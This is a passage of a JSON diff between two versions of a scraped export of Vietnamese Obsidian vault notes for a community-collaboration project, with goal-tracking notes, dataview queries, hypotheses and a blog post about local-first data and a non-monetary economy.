nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "%%\n#file/thành-quả\n%%\nTrạng thái:: #tt/đang-làm, [[Nhật]]\nĐộ cấp thiết:: #đct/cao\n\nPhục vụ cho thành quả:\n```dataview\nList \nFrom #file/thành-quả \nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \n```\nThành quả cần có:: [[500 người mở vault ít nhất 10 lần]]\n\nThành quả hỗ trợ:: [[50% người chia sẻ vault cho bạn bè]]\nThành quả hỗ trợ:: [[50% người dễ dàng tự sử dụng]]\nThành quả hỗ trợ:: [[50% người thấy được sự khác biệt với những phần mềm khác và ý nghĩa của sự khác biệt đó]]\n\nThành phẩm:: [[Các bài học trên vault]], [[Các buổi cố vấn riêng]], [[Truyền thông|Các bài viết truyền thông về Trấn Kỳ]]\n\nĐiểm yếu:: [[Có sự đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Ov" + "Ngày cập nhật": "2023-11-07T18:18:00.000Z", + "id": "P7" }, { - "Tiêu đề": "Người đã dùng Obsidian mức 1", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo trình độ dùng Obsidian/Người đã dùng Obsidian mức 1", + "Tiêu đề": "1000 người mở vault 3 lần", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/1000 người mở vault 3 lần", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Phục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[2000 người mở vault 1 lần]]\r\nThành phẩm::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Ow" + "id": "P8" }, { - "Tiêu đề": "Người đã dùng Obsidian mức 2", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo trình độ dùng Obsidian/Người đã dùng Obsidian mức 2", + "Tiêu đề": "10000 người biết tới sự tồn tại của vault", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/10000 người biết tới sự tồn tại của vault", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Phục vụ cho thành quả:\n```dataview\nList \nFrom #file/thành-quả \nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \n```\nThành quả hỗ trợ:: [[50% người chia sẻ vault cho bạn bè]]\nThành phẩm:: [[Truyền thông|Các bài viết truyền thông về Trấn Kỳ]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Ox" + "Ngày cập nhật": "2023-11-07T18:17:00.000Z", + "id": "P9" }, { - "Tiêu đề": "5 Giả thuyết", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/5 Giả thuyết", + "Tiêu đề": "2000 người mở vault 1 lần", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/2000 người mở vault 1 lần", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```\n\nDựa trên bài viết của bạn, có một số giả thiết cơ bản mà bạn đang sử dụng:\n\n1. **Giả thiết về Hạn chế của Hợp tác Hiện tại:** Bạn giả định rằng mô hình hợp tác hiện tại giữa các nhóm dự án không đạt được hiệu quả tối ưu do sự quá tải và khả năng hạn chế trong việc hiểu biết về nhau.\n\n2. **Giả thiết về Sự Đánh đổi giữa Tự do Dữ liệu và Tiện lợi Hợp tác:** Bạn đề xuất rằng có sự đánh đổi giữa việc tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác. Việc tập trung dữ liệu trên máy chủ có thể làm giảm sự tự do và tự chủ của người sử dụng cuối.\n\n3. **Giả thiết về Hiệu quả của Obsidian:** Bạn giả sử rằng việc sử dụng Obsidian, một công cụ quản lý dự án có triết lý lưu trữ dữ liệu ở local và tập trung vào liên kết, có thể giải quyết một số vấn đề liên quan đến hiệu suất và sự hợp tác.\n\n4. **Giả thiết về Mối quan hệ giữa Dữ liệu và Hợp tác:** Bạn đề xuất rằng việc có được một môi trường dữ liệu trong đó thông tin tự động hiển thị và không cần phải liên hệ trực tiếp có thể thúc đẩy sự hợp tác hiệu quả hơn.\n\n5. **Giả thiết về Hướng phát triển của Hệ sinh thái:** Bạn giả sử rằng việc xây dựng một mô hình hợp tác sử dụng Obsidian và tạo nền kinh tế không dùng tiền có thể thúc đẩy sự phát triển và hỗ trợ Mục tiêu Phát triển Bền vững.\n\nNhững giả thiết này là cơ sở lý luận của bài viết và có thể được phát triển và chứng minh thông qua các ví dụ cụ thể và nghiên cứu hỗ trợ.", + "Toàn bộ nội dung": "Phục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[2500 người tải bộ cài về]]\r\n\r\nThành phẩm::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-28T06:04:00.000Z", - "Ngày cập nhật": "2023-12-26T11:29:00.000Z", - "id": "Oy" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "PA" }, { - "Tiêu đề": "Chỉ Obsidian mới có thể giúp liên thông dữ liệu một cách dễ dàng nhất", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Chỉ Obsidian mới có thể giúp liên thông dữ liệu một cách dễ dàng nhất", + "Tiêu đề": "2500 người tải bộ cài về", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/2500 người tải bộ cài về", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Chỉ Obsidian mới có thể giúp liên thông dữ liệu một cách dễ dàng nhất\r\n", + "Toàn bộ nội dung": "Phục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[4000 người nhấp vào link tải]]\r\nThành quả hỗ trợ:: [[1000 người cho phản ứng với bài đăng giới thiệu về vault]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Oz" + "id": "PB" }, { - "Tiêu đề": "Các dự án có lợi nhuận không quan tâm đến các nhu cầu khác của nhóm", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Các dự án có lợi nhuận không quan tâm đến các nhu cầu khác của nhóm", + "Tiêu đề": "4000 người nhấp vào link tải", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/4000 người nhấp vào link tải", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Dữ liệu\nLúc đăng ảnh [[Mối quan tâm chung.jpeg]] lên nhóm [[Product Maker Vietnam]] chỉ có 3 người react\n", + "Toàn bộ nội dung": "Phục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[10000 người biết tới sự tồn tại của vault]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-28T11:00:00.000Z", - "id": "O-" + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "PC" }, { - "Tiêu đề": "Các tổ chức trong lúc mới hình thành rất mong có ai kết nối giùm", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Các tổ chức trong lúc mới hình thành rất mong có ai kết nối giùm", + "Tiêu đề": "50 nhóm dự án cộng đồng tham gia các buổi học về Obsidian", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/50 nhóm dự án cộng đồng tham gia các buổi học về Obsidian", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Các tổ chức trong lúc mới hình thành rất mong có ai kết nối giùm\n", + "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt/đang-làm\r\nĐộ cấp thiết:: #đct/cao\r\nĐối tượng thụ hưởng:: [[Người muốn xây dựng cộng đồng hoặc mạng lưới]]\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm:: \r\n\r\n\r\n[[Số người tham gia mới (user acquisition)]]\r\n[[Số người tiếp tục tham gia theo thời gian (retention)]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-08T08:05:00.000Z", - "id": "O_" + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "PD" }, { - "Tiêu đề": "Giả thiết về đối tượng thụ hưởng", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Giả thiết về đối tượng thụ hưởng", + "Tiêu đề": "50% người dễ dàng tự sử dụng", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/50% người dễ dàng tự sử dụng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Cảm thấy sự hợp tác giữa các nhóm dự án chưa đạt được hiệu quả tối ưu, dù họ có nhiều nỗ lực\n- Cảm thấy quá nhiều việc \n- Cảm thấy không thời gian để hiểu về nhau\n- C\n\n", + "Toàn bộ nội dung": "%%#file/thành-quả%%\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[80% người mới đến được nơi họ cần đến trong 3 giây]]\r\n\r\nThành phẩm:: [[Các buổi cố vấn riêng]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-26T11:29:00.000Z", - "id": "P0" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "PE" }, { - "Tiêu đề": "Người dùng sử dụng dễ dàng Obsidian", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Người dùng sử dụng dễ dàng Obsidian", + "Tiêu đề": "50% người hỏi về sau buổi demo", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/50% người hỏi về sau buổi demo", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Người dùng sử dụng dễ dàng Obsidian\r\n", + "Toàn bộ nội dung": "Thành phẩm:: [[Demo tại nhóm phát triển sản phẩm]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "P1" + "id": "PF" }, { - "Tiêu đề": "Người muốn đóng góp có biết cách đóng góp", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Người muốn đóng góp có biết cách đóng góp", + "Tiêu đề": "50% người thấy được sự khác biệt với những phần mềm khác và ý nghĩa của sự khác biệt đó", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/50% người thấy được sự khác biệt với những phần mềm khác và ý nghĩa của sự khác biệt đó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt/chưa-làm\r\nĐộ cấp thiết:: #đct/thấp\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "P2" + "id": "PG" }, { - "Tiêu đề": "Obsidian hữu ích để quản lý công việc", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Obsidian hữu ích để quản lý công việc", + "Tiêu đề": "500 người mở vault ít nhất 10 lần", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/500 người mở vault ít nhất 10 lần", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Obsidian đủ để quản lý công việc\r\n", + "Toàn bộ nội dung": "%%\r\n#tt/\r\n#file/thành-quả\r\n%%\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[1000 người mở vault 3 lần]]\r\n\r\nThành phẩm::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "P3" + "id": "PH" }, { - "Tiêu đề": "Việc có sẵn dữ liệu của các bên khác trong csdl của mình sẽ giúp mình hoạch định tốt hơn", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Việc có sẵn dữ liệu của các bên khác trong csdl của mình sẽ giúp mình hoạch định tốt hơn", + "Tiêu đề": "80% người mới đến được nơi họ cần đến trong 3 giây", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/80% người mới đến được nơi họ cần đến trong 3 giây", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khác gì RSS, các group đăng thông tin như của LIN?\r\n", + "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "P4" + "id": "PI" }, { - "Tiêu đề": "Việc phải nói chuyện nhu cầu của nhau là mệt mỏi", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Việc phải nói chuyện nhu cầu của nhau là mệt mỏi", + "Tiêu đề": "người làm vault để quản lý cuộc sống của họ", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng tạo vault để quản lý cuộc sống của họ/người làm vault để quản lý cuộc sống của họ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Việc phải nói chuyện nhu cầu của nhau là mệt mỏi\r\n", + "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt/đang-làm\r\nĐộ cấp thiết:: #đct/cao\r\nĐối tượng thụ hưởng:: [[Người muốn quản lý cuộc sống cá nhân]]\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm:: \r\n\r\n\r\n```dataview\r\nlist thành-quả-cần-có[0][0] \r\nfrom \"📐 Dự án hỗ trợ người mới học Obsidian/6 Kế hoạch\" \r\n```\r\n\r\n```dataviewjs\r\ndv.span(dv.pages('\"📐 Dự án hỗ trợ người mới học Obsidian/6 Kế hoạch\"')[\"Thành quả cần có\"][0][0])\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "P5" + "id": "PJ" }, { - "Tiêu đề": "Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/9 Blog/Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền", + "Tiêu đề": "1 người tham gia phỏng vấn mỗi tuần", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng đóng góp cho dự án/1 người tham gia phỏng vấn mỗi tuần", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Động lực dự án này là gì? Tại sao lại chọn Obsidian?", - "Toàn bộ nội dung": "English below\n\n\n# Vấn đề: Sự hợp tác giữa các nhóm dự án chưa đạt được hiệu quả tối ưu\nViệc tìm kiếm người hợp tác cho các dự án mới có ý tưởng đột phá có vẻ khó. Trong 5 năm mình tham gia vào các mạng lưới, cộng đồng phi lợi nhuận, mình cảm thấy mặc dù đã có rất rất nhiều tổ chức muốn thúc đẩy một hệ sinh thái giữa các dự án, nhưng lại chưa cảm thấy sự hiệu quả đạt đến mức tối ưu, mặc dù mình đánh giá rất cao nỗ lực và sự chuyên nghiệp của họ. Mình phải thẳng thắn nói rằng mình thất vọng rất nhiều sau các sự kiện kết nối. Mọi người có biết đến nhau, nhưng sau buổi hôm đó cũng chỉ dừng lại ở đó, không đi xa hơn được. Mình nghĩ rằng nguyên nhân quan trọng nhất là các bên **quá nhiều việc**. Mọi người không thể đi đủ sâu để tìm hiểu về nhau. Vì để có thể đi sâu thì phải tốn rất rất nhiều thời gian, mà thường tổ chức phải phát triển đủ lớn để có một người chuyên về việc kết nối, chứ công việc thì rất rất nhiều. Nếu như các tổ chức kết nối cộng đồng chủ động phân loại và tổ chức các buổi gặp gỡ cho các dự án quy mô nhỏ tương tự nhau thì rất tốt, nhưng mình không thấy được điều đó.\n\n[[Để một hệ sinh thái hoạt động thực sự hiệu quả thì lượng năng lượng dành ra để nắm bắt tín hiệu của môi trường phải giảm tới mức gần như bằng 0]]. Bạn không cần phải hỏi mà vẫn biết nhu cầu của những thành viên xung quanh, và họ không cần phải hỏi cũng biết bạn đang cần gì. Mặc dù chúng ta luôn khuyến khích đặt câu hỏi, nhưng [[Một hệ sinh thái không hoạt động bằng cách đặt câu hỏi, mà bằng cách không cần hỏi cũng biết câu trả lời là gì]]. Và các công cụ quản lý dự án hiện nay không có chức năng cung cấp thông tin của nhóm cho những nhóm khác. Chỉ khi nào nhu cầu của các bên liên quan hiện ra ngay trong kho dữ liệu của nhóm mà không cần phải hỏi họ hay thậm chí là nhập liệu, thì lúc đó chúng ta mới có thể bắt đầu nói về một hệ sinh thái mà những thành viên mới – vốn rất thiếu nhân lực – vẫn có thể hưởng lợi.\n\n# Hướng giải quyết: Tạo thói quen sử dụng dữ liệu ở tại chỗ cho mọi người\nTrong những phần mềm quản lý công việc trên thị trường hiện nay, mình thấy có duy nhất Obsidian (và Git) là có thể đáp ứng nhu cầu đó. Triết lý của Obsidian là:\n\n- [[Obsidian lưu dữ liệu trên máy của người dùng|Dữ liệu nằm trên máy của người dùng và ở định dạng đơn giản]]\n- [[Obsidian xem liên kết là công dân hạng nhất|Liên kết là công dân hạng nhất]]\n- [[Obsidian cực kỳ dễ mở rộng tính năng|Cực kỳ dễ mở rộng tính năng]]\n\nCác triết lý này mở ra một loạt những tính năng một dự án phát triển cộng đồng muốn có. Ví dụ như:\n- Thành viên cộng đồng có thể đóng góp những **hiểu biết sâu sắc, nhu cầu và các dữ liệu khác một cách thụ động** vào kho dữ liệu chung. Họ không cần quan tâm (quá nhiều) vào kho dữ liệu chung mà vẫn có thể làm nó phong phú hơn, chỉ bằng việc tập trung vào việc tự quản lý dự án của mình. Sự đóng góp của họ chỉ là sản phẩm phụ của việc họ tập trung vào mình.\n- [[Đồ thị giúp thấy được bức tranh tổng thể]]: điều gì nhiều người quan tâm nhất? Ai có cùng nhu cầu với ai? Để ý rằng [[Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình]], [[Trực giác là việc nhìn ra mẫu hình không hơn không kém]], và [[Đồ thị giúp ta thấy được mẫu hình]]\n- [[Obsidian miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người|Hoàn toàn miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người]]. [[Obsidian phù hợp cho các dự án nhỏ, không có nhiều tiền|Phù hợp khi bạn cần những chức năng nâng cao hoặc khi đội ngũ mở rộng mà không có nhiều tiền]]\n- [[Obsidian cực kỳ dễ mở rộng tính năng|Với plugin]], tính năng của nó có thể mở rộng theo nhu cầu và mức độ thành thạo của người dùng, khiến cho nó trở thành một [[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng|giàn giáo nhận thức giúp giảm sự quá tải của bạn]], khiến cho nó trở thành một môi trường tư duy để tăng cường nhận thức (augmenting cognition)\n- [[Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác]], tránh tình trạng [[Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin|phân mảnh dữ liệu do lưu dữ liệu ở nhiều công cụ khác nhau]]\n\nNăm 2015, để giải quyết những thách thức phát triển lớn mà thế giới phải đối mặt, Liên Hợp Quốc đã đề ra **17 Mục tiêu Phát triển Bền vững (SDG)**. Đó là động lực để các quốc gia hướng tới:\n\n\n\nMục tiêu cuối cùng trong 17 mục tiêu đó chính là về thúc đẩy sự hợp tác. Ở Việt Nam, mục tiêu số 17 này được chia thành [17 mục tiêu nhỏ hơn](https://data.vietnam.opendevelopmentmekong.net/vi/dataset/bao-cao-t-ng-h-p). Ta hãy xem một mục tiêu trong số chúng:\n\n> **Mục tiêu 17.4:** Tăng cường quan hệ đối tác toàn cầu cho phát triển bền vững, kết hợp với quan hệ đối tác nhiều bên nhằm huy động và chia sẻ kiến thức, kinh nghiệm, công nghệ và tài chính để hỗ trợ đạt được các mục tiêu phát triển bền vững ở Việt Nam\n>\n> ![|200](https://vietnam.un.org/profiles/undg_country/themes/custom/undg/images/SDGs/vi/SDG-17.svg)\n\nViệc phổ cập những công cụ như thế này sẽ giúp đáp ứng mục tiêu 17.4 này.\n\nXem thêm:: [Các nguồn tiền của LHQ cho những mục tiêu này đã được rót về Việt Nam như thế nào?](https://vietnam.un.org/vi/sdgs/17 \"\")\n# Tầm nhìn: Xây dựng nền kinh tế không dùng tiền\nNếu mô hình này thành công, thì ta sẽ xây dựng một mạng kết nối nhu cầu, nơi mà mọi người đáp ứng nhu cầu lẫn nhau. Họ có thể làm được như vậy vì tất cả mọi thành viên đều biết nhu cầu nào đang có nhiều người có nhất, ai đang có cùng nhu cầu với ai, v.v. Các nhu cầu của họ sẽ được thoả mãn bằng việc trao đổi nhu cầu cho nhau, hoặc cùng hợp tác để tạo giải pháp chung. Khi mạng lưới này lớn hơn nữa, thì nó sẽ hoạt động như một nền kinh tế. Bởi vì các nhu cầu trong đây được đáp ứng mà không cần dùng đến tiền làm trung gian, nên nó là một nền kinh tế không dùng tiền. Nó sẽ là sự kết hợp giữa nền kinh tế nền tảng (platform economy) và nền kinh tế quà tặng (gift economy). Nó cũng có liên hệ rất mật thiết tới [[Nền kinh tế chăm sóc]] (care economy).\n\nÝ tưởng [nền kinh tế không dùng tiền](https://en.wikipedia.org/wiki/Non-monetary_economy \"Non-monetary economy - Wikipedia\") không phải là một khái niệm mới. Một ví dụ điển hình là [Hệ thống Trao đổi Cộng đồng (Community Exchange System)](https://www.community-exchange.org/home/ \"Community Exchange System | Your Talents are Your Wealth\") với hơn 1200 nhóm trao đổi ở 107 nước. Tuy nhiên chưa có ở Việt Nam. \n\n\n> [!info] Bài chi tiết: [Một đám mây chim sáo](https://quảcầu.cc/mot-dam-may-chim-sao/?utm_source=CV+%C2%BB+T%E1%BB%AB+vi%E1%BB%87c+l%C6%B0u+d%E1%BB%AF+li%E1%BB%87u+t%E1%BA%A1i+ch%E1%BB%97+%C4%91%E1%BA%BFn+s%E1%BB%B1+h%E1%BB%A3p+t%C3%A1c+%C4%91a+ph%C6%B0%C6%A1ng+v%C3%A0+li%C3%AAn+ng%C3%A0nh+v%C3%A0+n%E1%BB%81n+kinh+t%E1%BA%BF+kh%C3%B4ng+d%C3%B9ng+ti%E1%BB%81n&utm_medium=M%E1%BB%99t+%C4%91%C3%A1m+m%C3%A2y+chim+s%C3%A1o&utm_campaign=Giai+%C4%91o%E1%BA%A1n+2)\n\nVấn đề hiện tại bây giờ chỉ là: có bao nhiêu nhóm dự án sẵn sàng muốn sử dụng Obsidian cho việc quản lý dự án của mình?\n\n\n# Tóm lại\n\n```mermaid\n%%{init: {\"flowchart\": {\"htmlLabels\": false}} }%%\nflowchart TB\nsubgraph Giai đoạn\n a1[\"Tạo thói quen sử dụng\\ndữ liệu ở local cho mọi người\"] \n b1[\"Liên thông dữ liệu giữa các nhóm dự án\"]\n c1[\"Xây dựng nền kinh tế không dùng tiền\"]\n a1-->b1-->c1\nend\n\nsubgraph Sản phẩm\n\ta2[\"Vault Obsidian, quản lý dự án và công cụ 